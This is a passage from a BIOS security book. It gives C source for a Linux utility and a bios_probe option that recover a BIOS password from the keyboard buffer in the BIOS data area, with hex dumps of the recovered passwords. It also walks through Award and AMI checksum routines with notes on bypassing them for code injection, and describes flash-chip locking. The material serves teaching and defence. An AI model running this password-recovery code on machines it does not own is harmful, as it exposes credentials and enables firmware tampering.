// Irrelevant code omitted 
    } else if(!strcmp(argv[1],"-dump_bda")) { 
        bda_dump = 1; 
// Irrelevant code omitted 
    // 
    // If it's a BDA dump request, dump the keyboard buffer 
    // area to the file 
    if( bda_dump ) 
    { 
        if(NULL == filename) { 
              printf("Error! the filename is incorrect\n"); 
        } else { 
              printf("Dumping BIOS data area to file..\n"); 
              dump_bios_data_area(filename); 
        } 
 
        CleanupDriver(); // Cleanup driver interface 
        return 0; 
    } 
// Irrelevant code omitted 
} 
 
 Now, I'll show you the result of dumping the keyboard buffer in my PC. Figure 11.3 
shows the command to tell bios_probe to dump the BDA. 
 

 
Figure 11.3 Dumping the BDA with bios_probe 

 
 Hex dump 11.1 shows the result of dumping the BDA when I set the BIOS password 
to "testing" in my motherboard. 
 

Hex dump 11.1 BDA Keyboard Buffer When the BIOS Password Is "Testing" 

Address             Hexadecimal Value              ASCII Value 
00000000 0DE0 7414 6512 6512 731F 731F 7414 7414 ..t.e.e.s.s.t.t. 
00000010 6917 6917 6E31 6E31 6722 6722 0D1C 0D1C i.i.n1n1g"g".... 
 



 The password string in the keyboard buffer is stored as ASCII characters paired with 
keyboard scan codes. For example, the t character is stored as 74h and 14h. 74h is the 
ASCII code for the t character and 14h is its scan code. I don't know why the characters of 
the password are repeated in the keyboard buffer; perhaps it's for Unicode compatibility. 
Nonetheless, when the password string consists of eight or more characters, the keyboard 
buffer is not large enough to store all of the characters. Hex dump 11.2 shows this when I 
set the BIOS password to "destruct" in my motherboard. 
 

Hex dump 11.2 BDA Keyboard Buffer When the BIOS Password Is "Destruct" 

Address             Hexadecimal Value              ASCII Value 
00000000 0D1C 0D1C 6512 6512 731F 731F 7414 7414 ....e.e.s.s.t.t. 
00000010 7213 7213 7516 7516 632E 632E 7414 7414 r.r.u.u.c.c.t.t. 
 
 As you can see in hex dump 11.2, the string of password characters stored in the 
keyboard buffer in the BDA is incomplete; the keyboard buffer only shows "estruct," yet 
the complete password is "destruct." I tried to enter "estruct" during the BIOS password 
request at boot time. It did not work. That means that Award BIOS version 6.00PG in my 
machine validates the entire BIOS password. 
 Now, I show you how to dump the BDA in Linux. It's quite easy to implement. 
Nonetheless, some quirks from the Linux's mmap function must be handled correctly to 
make the program works flawlessly. I name this small utility bda_dump. The overall source 
code of this application is shown in listing 11.8. The bda_dump utility must be executed 
with a root account; otherwise, you won't receive enough permission and the program will 
fail. 
 

Listing 11.8 Linux BDA Dumper Source Code (bda_dump.c) 

/* 
 * bda_dump.c: BIOS data area dumper by Darmawan Salihun 
 */ 
#include <sys/mman.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
int main(int argc, char** argv) 
{ 
    int fd_mem; 
    FILE * f_out = NULL; 
    volatile char * bda; 
    unsigned long size; 
    const unsigned BDA_SIZE = 32; 



    const unsigned BDA_START = 0x41E; 
    char * buf = NULL; 
 
    if(argc < 2) 
    { 
        printf( "Error! Insufficient parameters\n" 
                "Usage: %s [out_filename]\n", argv[0]); 
 
        return -1; 
    } 
 
    if( NULL == (f_out = fopen(argv[1], "wb"))) 
    { 
        printf("Error! Unable to open output file handle\n"); 
        return -1; 
    } 
 
    if ((fd_mem = open("/dev/mem", O_RDWR)) < 0) { 
        perror("Can not open /dev/mem\n"); 
        return -1; 
    } 
 
    // 
    // Map the BDA to the current process; 
    // note that you must map the physical memory in 
    // a 4-KB boundary because if you don't you'll see the 
    // response 'Error MMAP /dev/mem: Invalid argument'. 
    // 
    size = BDA_SIZE; 
 
    if(getpagesize() > size) 
    { 
        size = getpagesize(); 
        printf( "%s: warning: size: %d -> %ld\n", __FUNCTION__, 
                BDA_SIZE, (unsigned long)size); 
    } 
 
    // Map the physical memory starting at address 0 
    bda = mmap (0, size, PROT_WRITE | PROT_READ, MAP_SHARED, 
                fd_mem, 0); 
    if (bda == MAP_FAILED) { 
        perror("Error MMAP /dev/mem\n"); 
        close(fd_mem); 
        return -1; 
    } 
 
    if(NULL == (buf = malloc(BDA_SIZE))) 
    { 
        perror("Insufficient memory\n"); 
        munmap((void*)bda, size); 
        close(fd_mem); 



        return -1; 
    } 
 
    memcpy((void*)buf, (void*)(bda+BDA_START), BDA_SIZE); 
    fwrite(buf, sizeof(char), BDA_SIZE, f_out); 
 
    free(buf); 
    munmap((void*)bda, size); 
    close(fd_mem); 
 
    fclose(f_out); 
 
    return 0; 
} 
 
 There is a quirk of the mmap function in Linux, which maps the physical memory 
when it is used with the /dev/mem file handle as its parameter. The mmap function is only 
able to map physical memory in a multiple of the page size of the processor's memory 
management unit. Furthermore, the physical memory that's mapped must lie in the 
corresponding page size boundary. In x86 architecture, this page size is 4 KB. Therefore, 
the mapped physical memory range must lie in the 4-KB boundary and its size must be at 
least 4 KB. That's why the code snippet in listing 11.9 is in the overall source code in listing 
11.8. 
 

Listing 11.9 Workaround for the Quirk of the mmap Function 

    // 
    // Map the BDA to the current process; 
    // note that you must map the physical memory in 
    // a 4-KB boundary because if you don't you'll see the 
    // response 'Error MMAP /dev/mem: Invalid argument'. 
    // 
    size = BDA_SIZE; 
 
    if(getpagesize() > size) 
    { 
        size = getpagesize(); 
        printf( "%s: warning: size: %d -> %ld\n", __FUNCTION__, 
                BDA_SIZE, (unsigned long)size); 
    } 
 
    // Map the physical memory starting at address 0 
    bda = mmap (0, size, PROT_WRITE | PROT_READ, MAP_SHARED, 
                fd_mem, 0); 
 
 The preceding code is a workaround for the quirk of the mmap function because the 
BDA doesn't lie in 4-KB boundary and its size is not a multiple of 4 KB. To compile the 
code in listing 11.8, invoke GCC as shown in shell snippet 11.3. 
 



Shell snippet 11.3 Compiling bda_dump Source Code 

gcc -o bda_dump bda_dump.c 
 
 The output from the command in shell snippet 11.3 is an executable file named 
bda_dump. You can execute it in the shell as shown in shell snippet 11.4. 
 

Shell snippet 11.4 Running the bda_dump Utility 

root@opunaga:/home/pinczakko/BDA_dumper# ./bda_dump bda.bin 
main: warning: size: 32 -> 4096 
 
 Shell snippet 11.4 shows that the page size is bigger than the BDA_SIZE constant in 
the bda_dump source code. You don't need to worry about it. That's because the 
workaround has been placed in the source code. Shell snippet 11.4 shows that the BDA 
keyboard buffer is dumped into a file named bda.bin. The result of the BDA dumping 
process in my system is shown in shell snippet 11.5. Note that I'm using a special hex 
dump7 formatting file named fmt. This file is the same as the file named fmt described in 
listing 7.9 in chapter 7. 
 

Shell snippet 11.5 bda_dump Result 

root@opunaga:/home/pinczakko/BDA_dumper# hexdump -f fmt bda.bin 
000000  0D E0 74 14 65 12 65 12 73 1F 73 1F  . . t . e . e . s . s . 
00000c  74 14 74 14 69 17 69 17 6E 31 6E 31  t . t . i . i . n 1 n 1 
000018  67 22 67 22 0D 1C 0D 1C              g " g " . . . . 
 
 The password that I entered in the BIOS setup for the machine where the bda_dump 
utility runs is "testing." Shell snippet 11.5 shows that string in the BDA keyboard buffer. 
 At this point, you can conclude that the BDA dumping method is only reliable in 
certain circumstances; nevertheless, BIOSs other than Award BIOS version 6.00PG 
probably are vulnerable to this attack. 
 
 
11.1.3 The Downsides—An Attacker's Point of View 
 
 From an attacker's point of view, both methods to break BIOS password protection 
that you learned previously have downsides: 
 

1. They need administrator privilege to be executed. An attacker needs an additional 
exploit to raise his or her privilege level to administrator. This is an added security 
measure in the legitimate PC owner side. 

2. At some points, the attacker must have physical access to the attacked machine 
because some machines need certain key presses to reload the default CMOS 

                                                 
7 The hexdump utility in Linux. 



setting after a CMOS brute-force attack. This is necessary to boot the operating 
system after shutdown. Without pressing a certain key, the boot process will stop 
at BIOS initialization; the machine won't proceed further to boot the operating 
system. This is also an added security measure in the legitimate PC owner side. 

3. Sometimes, knowing the BIOS password is not helpful to a remote attacker if the 
machine is already running in an operating system environment. For example, if 
the attacker's intention is to install rootkits, this could be easily done without the 
BIOS password if the machine is already booted to the operating system. 

 
 At this point, you might realize that BIOS password protection is meant to be a 
"local" security measure. It works against unlawful PC usage in a local environment. It 
works perfectly for systems that are shut down and powered on regularly, such as desktops 
in an office. 
 
 
11.2. BIOS Component Integrity Checks 
 
 As you have learned in the previous chapters, every BIOS binary consists of some 
pure binary components, which are not compressed, and some compressed components. 
The BIOS code has a certain mechanism to check the integrity of each of these 
components. Most BIOSs use a checksum mechanism to check the integrity of their 
components. 
 The BIOS component checksum mechanism is not meant to be as a security measure. 
However, it can guard against "random" code injection into the BIOS binary because a 
BIOS component will be considered invalid when its checksum is wrong. If someone 
injects a code into a BIOS component without fixing all of the checksum, the BIOS will 
halt its execution at the checksum checking routine during system initialization because it 
detects a wrong component checksum and subsequently calls the boot block routine that 
will ask you to update the BIOS. In the worst-case scenario, if the boot block checksum is 
wrong, it's possible that the BIOS will halt the system initialization execution in boot block 
or reset the system repeatedly. The next subsections show you the implementation of the 
BIOS component checksum routines. 
 
 
11.2.1. Award BIOS Component Integrity Checks 
 
 In Award BIOS versions 4.50 and 6.00PG, there are two types of checksums. The 
first one is an 8-bit checksum, and the second one is a 16-bit CRC. The 8-bit checksum is 
used for various purposes, for example, to verify the overall checksum of the system BIOS, 
along with the compressed components, and to verify the integrity of the header of 
compressed components.8 Listing 11.10 shows the 8-bit checksum calculation routine for 
the header of LZH compressed components in Award BIOS version 6.00PG. This routine is 
located in the decompression block. 

                                                 
8 Refer to table 5.2 in chapter 5 for a detailed LZH header format. 



 

Listing 11.10 8-Bit Checksum Calculation Routine Sample in Award BIOS Version 6.00PG 

Address    Hex Values              Mnemonic 
1000:B337                         Calc_LZH_Hdr_8bit_sum proc near ; ... 
1000:B337 53                        push  bx 
1000:B338 51                        push  cx 
1000:B339 52                        push  dx 
1000:B33A B8 00 00                  mov   ax, 0 
1000:B33D 0F B6 0E 1C 57            movzx cx, lzh_hdr_len 
1000:B342 
1000:B342                         next_hdr_byte:                  ; ... 
1000:B342 0F B6 1E 1C 57            movzx bx, lzh_hdr_len 
1000:B347 2B D9                     sub   bx, cx 
1000:B349 0F B6 97 00 00            movzx dx, byte ptr [bx+0] 
1000:B34E 03 C2                     add   ax, dx 
1000:B350 E2 F0                     loop  next_hdr_byte 
1000:B352 5A                        pop   dx 
1000:B353 59                        pop   cx 
1000:B354 5B                        pop   bx 
1000:B355 25 FF 00                  and   ax, 0FFh 
1000:B358 C3                        retn 
1000:B358                         Calc_LZH_Hdr_8bit_sum endp 
 
 Listing 11.10 is taken from the disassembly of the BIOS of Foxconn 955X7AA-
8EKRS2 motherboard. The routine shown is called every time the Award BIOS 
decompression engine decompresses a compressed BIOS component. This routine is part of 
the so-called decompression block. The 8-bit checksum output of the routine in is placed in 
the ax register. You can use the binary signature9 from the hex values in listing 11.10 to 
look for this routine in another Award BIOS binary. 
 Now, proceed to the 16-bit CRC. First, let me refresh your memory about the 
compressed component in Award BIOS binary. Every compressed component in Award 
BIOS binary contains a header. The header contains a 16-bit CRC value. It's located 5 bytes 
before the end of the header.10 This 16-bit CRC is the checksum of the compressed 
component. It's calculated before the component is compressed and inserted into the overall 
BIOS binary. In most cases, Cbrom is used to carry out this process in Award BIOS 
binaries. The 16-bit CRC is inserted into the header of the component once the compression 
process is finished. This 16-bit CRC must be verified during system initialization to ensure 
that the decompression process contains no errors. Listing 11.11 shows the 16-bit CRC 
verification routine in Award BIOS version 6.00PG. This listing is also taken from the 
disassembly of the BIOS of Foxconn 955X7AA-8EKRS2 motherboard. 
 

                                                 
9 In this context, a binary signature is a unique byte sequence that identifies the routine or function of 
interest. It can be formed easily by concatenating the hex values of some consecutive assembly 
language mnemonics. 
10 Refer to table 5.2 in chapter 5 for a detailed LZH header format. 



Listing 11.11 16-Bit CRC Verification Routine in Award BIOS Version 6.00PG 

Address    Hex Values              Mnemonic 
1000:B2AC                         Make_CRC16_Table proc near      ; ... 
1000:B2AC 60                        pusha 
1000:B2AD BE 0C 01                  mov   si, 10Ch 
1000:B2B0 B9 00 01                  mov   cx, 100h 
1000:B2B3 
1000:B2B3                         next_CRC_byte:                  ; ... 
1000:B2B3 B8 00 01                  mov   ax, 100h 
1000:B2B6 2B C1                     sub   ax, cx 
1000:B2B8 50                        push  ax 
1000:B2B9 BB 00 00                  mov   bx, 0 
1000:B2BC 
1000:B2BC                         next_bit:                       ; ... 
1000:B2BC A9 01 00                  test  ax, 1 
1000:B2BF 74 07                     jz    short current_bit_is_0 
1000:B2C1 D1 E8                     shr   ax, 1 
1000:B2C3 35 01 A0                  xor   ax, 0A001h 
1000:B2C6 EB 02                     jmp   short current_bit_is_1 
1000:B2C8 
1000:B2C8                         current_bit_is_0:               ; ... 
1000:B2C8 D1 E8                     shr   ax, 1 
1000:B2CA 
1000:B2CA                         current_bit_is_1:               ; ... 
1000:B2CA 43                        inc   bx 
1000:B2CB 83 FB 08                  cmp   bx, 8 
1000:B2CE 72 EC                     jb    short next_bit 
1000:B2D0 5B                        pop   bx 
1000:B2D1 89 00                     mov   [bx+si], ax 
1000:B2D3 46                        inc   si 
1000:B2D4 E2 DD                     loop  next_CRC_byte 
1000:B2D6 61                        popa 
1000:B2D7 C3                        retn 
1000:B2D7                         Make_CRC16_Table endp 
......... 
1000:B317                         ; In:   ax = input_byte for crc16 calc 
1000:B317                         ; Out : crc16 = new crc16 
1000:B317                         patch_crc16 proc near           ; ... 
1000:B317 60                        pusha 
1000:B318 8B F0                     mov   si, ax 
1000:B31A A1 0C 03                  mov   ax, crc16 
1000:B31D 33 C6                     xor   ax, si 
1000:B31F 25 FF 00                  and   ax, 0FFh 
1000:B322 8B F0                     mov   si, ax 
1000:B324 D1 E6                     shl   si, 1 
1000:B326 8B 9C 0C 01               mov   bx, crc_table[si] 
1000:B32A A1 0C 03                  mov   ax, crc16 
1000:B32D C1 E8 08                  shr   ax, 8 
1000:B330 33 C3                     xor   ax, bx 
1000:B332 A3 0C 03                  mov   crc16, ax 
1000:B335 61                        popa 



1000:B336 C3                        retn 
1000:B336                         patch_crc16 endp 
 
 Listing 11.11 shows a routine named Make_CRC16_Table. This routine builds a 
lookup table to ease the calculation of 16-bit CRC values. Such calculation is a time-
consuming task; that's why a lookup table needs to be built. The routine named 
patch_crc16 calculates the 16-bit CRC values for every finished "window" during the 
decompression process. The Award BIOS component compression algorithm is based on a 
modified sliding-window algorithm. Therefore, the compressed component is 
decompressed on a window-by-window basis. A window in Award BIOS components 
contains 8 KB of data or code. Again, you can search for this routine easily by making a 
binary signature based on listing 11.11. 
 If you are modifying Award BIOS binary by using modbin, Cbrom, or both, don't 
worry about the checksums because both of these programs will fix the checksums for you. 
Nevertheless, attackers who want to inject code into the BIOS binary might choose a brute-
force approach, disabling the checksum verification in the BIOS binary altogether by 
replacing the checksum verification routines with bogus routines. This is not recommended 
because it increases the possibility of system initialization failure. Nevertheless, hackers 
can use it as a last resort. 
 
 
11.2.2. AMI BIOS Component Integrity Checks 
 
 AMI BIOS integrity checks seem to be only in the form of 8-bit checksum 
verifications. I haven't done complete reverse engineering on any AMI BIOS binary. 
Nevertheless, I'll show you every routine that I've found so far. The first routine verifies the 
8-bit checksum of the overall BIOS binary. It's shown in listing 11.12. 
 The listings in this subsection come from the IDA Pro disassembly database of BIOS 
binary for Soltek SL-865PE motherboard. 
 

Listing 11.12 8-bit Checksum Verification Routine for AMI BIOS Version 8.00 

Address    Hex Values              Mnemonic 
F000:02CA                         Calc_Module_Sum proc far        ; ... 
F000:02CA 1E                        push  ds 
F000:02CB 66 60                     pushad 
F000:02CD 6A 00                     push  0 
F000:02CF 1F                        pop   ds 
F000:02D0                           assume ds:_120000 
F000:02D0 66 BE 00 00 12 00         mov   esi, 120000h 
F000:02D6 2E 8B 0E B1 00            mov   cx, cs:BIOS_seg_count? 
F000:02DB E8 28 00                  call  get_sysbios_start_addr 
F000:02DE 75 18                     jnz   short AMIBIOSC_not_found 
F000:02E0 67 8B 4F F6               mov   cx, [edi-0Ah] 
F000:02E4 66 33 C0                  xor   eax, eax 
F000:02E7 
F000:02E7                         next_lower_dword:               ; ... 



F000:02E7 67 66 03 47 FC            add   eax, [edi-4] 
F000:02EC 66 83 EF 08               sub   edi, 8 
F000:02F0 67 66 03 07               add   eax, [edi] 
F000:02F4 E2 F1                     loop  next_lower_dword 
F000:02F6 74 0A                     jz    short exit 
F000:02F8 
F000:02F8                         AMIBIOSC_not_found:             ; ... 
F000:02F8 B8 00 80                  mov   ax, 8000h 
F000:02FB 8E D8                     mov   ds, ax 
F000:02FD                           assume ds:decomp_block 
F000:02FD 80 0E CE FF 40            or    module_sum_flag, 40h 
F000:0302 
F000:0302                         exit:                           ; ... 
F000:0302 66 61                     popad 
F000:0304 1F                        pop   ds 
F000:0305                           assume ds:nothing 
F000:0305 CB                        retf 
F000:0305                         Calc_Module_Sum endp 
 
 Note that the routine shown in listing 11.12 is not directly shown in the boot block 
because it's a compressed part in the overall BIOS binary. You can view it only after it has 
been decompressed. The second routine is part of the POST routine with code D7h. It's 
shown in listing 11.13. This routine is also an 8-bit checksum calculation routine. 
 

Listing 11.13 8-bit Checksum Verification Routine for AMI BIOS Version 8.00 Components 

Address    Hex Values              Mnemonic 
F000:043C            ; In:  esi = src addr to begin calculation 
F000:043C            ; Out: ZF = set only if the chksum is OK 
F000:043C 
F000:043C                         Calc_Component_CRC proc near    ; ... 
F000:043C 66 B8 14 00 00 00         mov   eax, 14h 
F000:0442 66 2B F0                  sub   esi, eax 
F000:0445 67 66 8B 0E               mov   ecx, [esi] 
F000:0449 66 03 C8                  add   ecx, eax 
F000:044C 66 C1 E9 02               shr   ecx, 2 
F000:0450 66 33 C0                  xor   eax, eax 
F000:0453 
F000:0453                         next_dword:                     ; ... 
F000:0453 67 66 03 06               add   eax, [esi] 
F000:0457 66 83 C6 04               add   esi, 4 
F000:045B 67 E2 F5                  loopd next_dword 
F000:045E 66 0B C0                  or    eax, eax 
F000:0461 C3                        retn 
F000:0461                         Calc_Component_CRC endp 
 
 Listings 11.12 and 11.13 clearly show that the checksum verification routines in AMI 
BIOS version 8.00 are variations of the 8-bit checksum calculation routine. There may be 
another checksum verification mechanism embedded in one of AMI BIOS POST routines. 



 
 
11.3. Remote Server Management Security Measures 
 
 As you learned in chapter 10, low-level remote machine management is never carried 
out outside of an operating system context. Even when the remote machine is running as 
remote program loader machine, there is still some kind of operating system in charge of 
the system locally to serve the remote management software. In this section, I focus on a 
widely used remote management interface: WMI. The varieties of UNIX don't have a 
unified approach in implementing WBEM, that's why I'm just talking about WMI at this 
point. The talk focuses on its security measures against remote attacks. I'm not talking 
about SMBIOS because it has no security measures other than administrator account 
protection. In chapter 10, I demonstrated that you can parse the SMBIOS information at 
your will once you have obtained the administrator privilege. 
 WMI has a two-level security measure. The first level is operating system–level 
authentication that asks the user for Windows logon information, and the second level is a 
namespace-level security measure. A user who has logged into a machine in an enterprise 
network will be granted to access WMI information within that computing environment 
only to his or her assigned namespace. The same is true for a remote WMI application. A 
WMI application cannot access WMI procedure or data in a remote machine outside of the 
context of the namespaces granted by the remote machine when the application sets up a 
connection to the remote machine. The context of the namespaces depends on the login 
information given to the remote machine by the WMI application. Therefore, from an 
attacker's point of view, it's difficult to break the security measure of a WMI application 
because it's using a two-level security measure. Nonetheless, because WMI and Internet 
information services are tightly connected, the weak point often attacked as an entry point 
is Internet information services. This is especially true because WMI has a scripting front 
end that has some known bugs. 
 A security breach in a WMI application is dangerous because it can grant unlimited 
access to the entire network within an organization and provide the attacker with feature-
rich remote control over the organization resources. Even if the attacker only obtains that 
access for a while, he or she can implant a backdoor anywhere in the organization to ensure 
future access to the organization's resources. 
 
 
11.4. Hardware-Based Security Measures 
 
 Hardware-based security measures can be effective against BIOS tampering. In this 
section, I explain the internal security measures in the BIOS chip. 
 Some BIOS chips have internal registers to control read and write access to its 
content. For example, the Winbond W39V040FA11 series of flash ROM chip has internal 
registers known as block locking registers (BLRs). These registers are able to block read 
and write access to the chip entirely, making the chip inaccessible even from low-level 

                                                 
11 You can search for and download the datasheet of this chip at http://www.alldatasheet.com. 



software such as device driver. Table 11.1 shows the locations of these registers12 in 
system-wide memory map. 
 

Registers Registers 
Type 

Control 
Block 

Device Physical 
Address 

4-GB System 
Memory 
Address 

BLR713 R/W 7 7FFFFh–70000h FFBF0002h 

BLR6 R/W 6 6FFFFh–60000h FFBE0002h 

BLR5 R/W 5 5FFFFh–50000h FFBD0002h 

BLR4 R/W 4 4FFFFh–40000h FFBC0002h 

BLR3 R/W 3 3FFFFh–30000h FFBB0002h 

BLR2 R/W 2 2FFFFh–20000h FFBA0002h 

BLR1 R/W 1 1FFFFh–10000h FFB90002h 

BLR0 R/W 0 0FFFFh–00000h FFB80002h 

Table 11.1 BLR types and access memory map table for Winbond W39V040FA 

 
 The device physical address column in table 11.1 refers to the physical address of the 
blocking registers with respect to the beginning of the chip not in system-wide address 
space context. The meaning of each bit in the BLRs is shown in table 11.2. 
 

Bit Function 
7–3 Reserved 
2 Read Lock 

1: Prohibit to read in the block where set. 
0: Normal read operation in the block where clear. This is the default 
    state. 

1 Lock Down 
1: Prohibit further to set or clear the read-lock or write-lock 
    bits. This lock-down bit can only be set, not cleared. Only if the 
    device is reset or repowered is the lock-down bit cleared. 
0: Normal operation for read-lock or write-lock. This is the 
    default state. 

0 Write Lock 
1: Prohibited to write in the block where set. This is the default state. 
0: Normal programming or erase operation in the block where 
    clear. 

Table 11.2 BLR bits function table 

 

                                                 
12 Tables 11.1 and 11.2 are identical to tables 9.1 and 9.2 in chapter 9. They are reproduced here for 
your convenience. 
13 The size of a BLR is 1 byte. 



 The lock-down bit,14 along with the read-lock and write-lock bits in table 11.2, can 
disable access to the W39V040FA chip entirely. The lock-down bit can be set but cannot be 
cleared; it will be cleared only during power up or restart. Therefore, if the BIOS code sets 
this bit upon system initialization, you will never be able to change it. Furthermore, if it's 
set with the read-lock and write-lock bits, the BIOS chip will be inaccessible within an 
operating system; you won't be able to read the contents of the BIOS chip. Even if you are 
able to read something from the BIOS chip address space, the result will be bogus. I 
conducted an experiment on these bits and can show you the result. I set the lock-down bit, 
read-lock bit, and write-lock bit by using a modified version of bios_probe software that 
you learned in chapter 9 and subsequently try to read the contents of the chip. This 
modified version of bios_probe is bios_probe version 0.35. You can download the 
modified source code at http://www.megaupload.com/?d=LZ71RQL0. The locking feature 
support in bios_probe source code is added in several files: flash_rom.c, w39v040fa.c, 
and w39v040fa.h. Let me review the changes. Start with the flash_rom.c file. The changes 
in flash_rom.c to accommodate the new chip-locking ability15 are shown in listing 11.14. 
 

Listing 11.14 Changes in flash_rom.c To Accommodate Chip Locking 

// irrelevant code omitted 
 
void try_lock_w39v040fa() 
/*++ 
Routine Description: 
   Disable access to Winbond W39V040FA chip entirely. 
   Both read access and write access are disabled. 
 
Arguments: 
    None 
 
Return Value: 
    None 
 
Note: 
    - This is only an experimental function. It must be removed in the 
      next version of bios_probe. 
--*/ 
{ 
    struct flashchip * flash; 
 
    if ((flash = probe_flash (flashchips)) == NULL) { 
        printf("EEPROM not found\n"); 
        return; 
    } 
 
    if( 0 == strcmp(flash->name, "W39V040FA")) 

                                                 
14 The lock-down bit is bit 1. 
15 Chip locking means disabling access to the BIOS chip entirely. 



    { 
        printf("Disabling accesses to W39V040FA chip...\n"); 
        lock_39v040fa(flash); 
    } 
    else 
    { 
        printf("Unable to disable access to flash ROM. The chip is not " 
                "W39V040FA\n"); 
    } 
} 
 
void usage(const char *name) 
{ 
    printf("usage: %s [-rwv] [-c chipname][file]\n", name); 
// Irrelevant code omitted 
    printf("       %s  -lock \n", name); 
 
    printf( "-r:    read flash and save into file\n" 
// Irrelevant code omitted 
            "-lock: disable access to Winbond W39V040FA flash chip"); 
    exit(1); 
} 
 
int main (int argc, char * argv[]) 
{ 
    int read_it = 0, write_it = 0, verify_it = 0, 
        pci_rom_read = 0, pci_rom_write = 0, 
        pci_rom_erase = 0, smbios_dump = 0, 
        lock_w39v040fa = 0; 
 
// Irrelevant code omitted 
 
    } else if(!strcmp(argv[1],"-lock")) { 
        lock_w39v040fa = 1; 
    } 
 
// Irrelevant code omitted 
 
    // 
    // If it's a BIOS chip locking request, try to disable access to 
    // Winbond W39V040FA 
    // 
    if( lock_w39v040fa ) 
    { 
        try_lock_w39v040fa(); 
        CleanupDriver(); // Cleanup driver interface 
        return 0; 
    } 
 
// Irrelevant code omitted 
} 



 
 The try_lock_w39v040fa function in listing 11.14 activates the chip-locking 
mechanism. This function is called by the main function if the user invokes bios_probe 
with a -lock input parameter. The try_lock_w39v040fa function calls the 
lock_39v040fa function to activate the chip-locking mechanism if the flash ROM chip in 
the system is a Winbond W39V040FA. The lock_39v040fa function is declared in the 
w39v040fa.h file, as shown in listing 11.15. 
 

Listing 11.15 Declaring the lock_39v040fa Function 

#ifndef __W39V040FA_H__ 
#define __W39V040FA_H__ 1 
 
// Irrelevant code omitted 
 
extern void lock_39v040fa (struct flashchip * flash); // Quick hack 
 
#endif /* __W39V040FA_H__ */ 
 
 The implementation of the lock_39v040fa function is in the w39v040fa.c file, as 
shown in listing 11.16. 
 

Listing 11.16 Implementing the lock_39v040fa Function 

void lock_39v040fa(struct flashchip * flash) 
{ 
    int i; 
    unsigned char byte_val; 
    volatile char * bios = flash->virt_addr; 
    volatile char * dst = bios; 
    volatile char * blr_base = NULL; 
 
    *bios = 0xF0; // Product ID exit 
    myusec_delay(10); 
 
    blr_base = (volatile char*) MapPhysicalAddressRange( 
                                BLOCK_LOCKING_REGS_PHY_BASE, 
                                BLOCK_LOCKING_REGS_PHY_RANGE); 
    if (blr_base == NULL) { 
        perror( "Error: Unable to map Winbond w39v040fa block locking" 
                "registers!\n"); 
        return; 
    } 
 
    // 
    // Disable access to the BIOS chip entirely 
    // 
    for( i = 0; i < 8 ; i++ ) 



    { 
        byte_val =  *(blr_base + i*0x10000); 
        byte_val |= 0x7; // Set the lock-down bit, read-lock bit, and 
                         // write-lock bit to 1 
        *(blr_base + i*0x10000) = byte_val; 
    } 
 
        UnmapPhysicalAddressRange((void*) blr_base, 
                               LOCK_LOCKING_REGS_PHY_RANGE); 
} 
 
 Listings 11.14–11.16 sum up the changes to implement the chip-locking mechanism 
in bios_probe source code. 
 First, I show you the result when I read the BIOS chip contents before activating the 
chip-locking mechanism. It's shown in hex dump 11.3.16

 

Hex dump 11.3 Contents of the BIOS Chip (Read before Activating Chip Locking) 

Address              Hexadecimal Value               ASCII Value 
00000000 494D 4424 2900 5100 4100 0013 0000 0102 IMD$).Q.A....... 
00000010 00E0 0307 90DE CB7F 0000 0000 3750 686F ............7Pho 
00000020 656E 6978 2054 6563 686E 6F6C 6F67 6965 enix Technologie 
00000030 732C 204C 5444 0036 2E30 3020 5047 0031 s, LTD.6.00 PG.1 
00000040 322F 3238 2F32 3030 3400 0022 0001 1901 2/28/2004..".... 
00000050 0001 0203 04FF FFFF FFFF FFFF FFFF FFFF ................ 
00000060 FFFF FFFF FF06 2000 2000 2000 2000 001D ...... . . . ... 
00000070 0002 0802 0001 0203 0420 0049 3836 3550 ......... .I865P 
00000080 452D 5738 3336 3237 0020 0020 0000 1600 E-W83627. . .... 
00000090 030D 0300 0103 0203 0402 0202 0220 0020 ............. . 
000000A0 0020 0020 0000 4A00 0420 0400 0103 0F02 . . ..J.. ...... 
000000B0 290F 0000 FFFB EBBF 038E 6400 FA0B D007 ).........d..... 
000000C0 4104 0A00 0B00 FFFF 536F 636B 6574 2034 A.......Socket 4 
000000D0 3738 0049 6E74 656C 0049 6E74 656C 2852 78.Intel.Intel(R 
000000E0 2920 4365 6C65 726F 6E28 5229 2043 5055 ) Celeron(R) CPU 
........ 
0007FFB0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
0007FFC0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
0007FFD0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
0007FFE0 0000 0000 0000 0000 3641 3739 4144 3447 ........6A79AD4G 
0007FFF0 EA5B E000 F02A 4D52 422A 0200 0000 60FF .[...*MRB*....`. 
 
 Now, I show you the result of activating the chip-locking mechanism in my 
experiment. I invoke the new bios_probe as shown in figure 11.4 to disable further access 
to the BIOS chip. 
 

                                                 
16 The hex dump only shows some parts of the entire BIOS address range because of the space 
constraints in this book. 



 
Figure 11.4 Disabling all access to the Winbond W39V040FA chip 

 
 Then, I try to read the contents of the BIOS chip, as shown in figure 11.5. 
 



 
Figure 11.5 Reading BIOS chip contents after access to the chip is disabled 

 
 Figure 11.5 indicates that everything is fine. Nevertheless, the hex dump of the result 
is in hex dump 11.4. 
 

Hex dump 11.4 New_dump.bin, the Result of Reading the BIOS Chip after Access Is Disabled 

Address              Hexadecimal Value               ASCII Value 
00000000 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000010 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000060 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
00000090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
000000A0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
000000B0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 



000000C0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
000000D0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
000000E0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
........ 
0007FFB0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
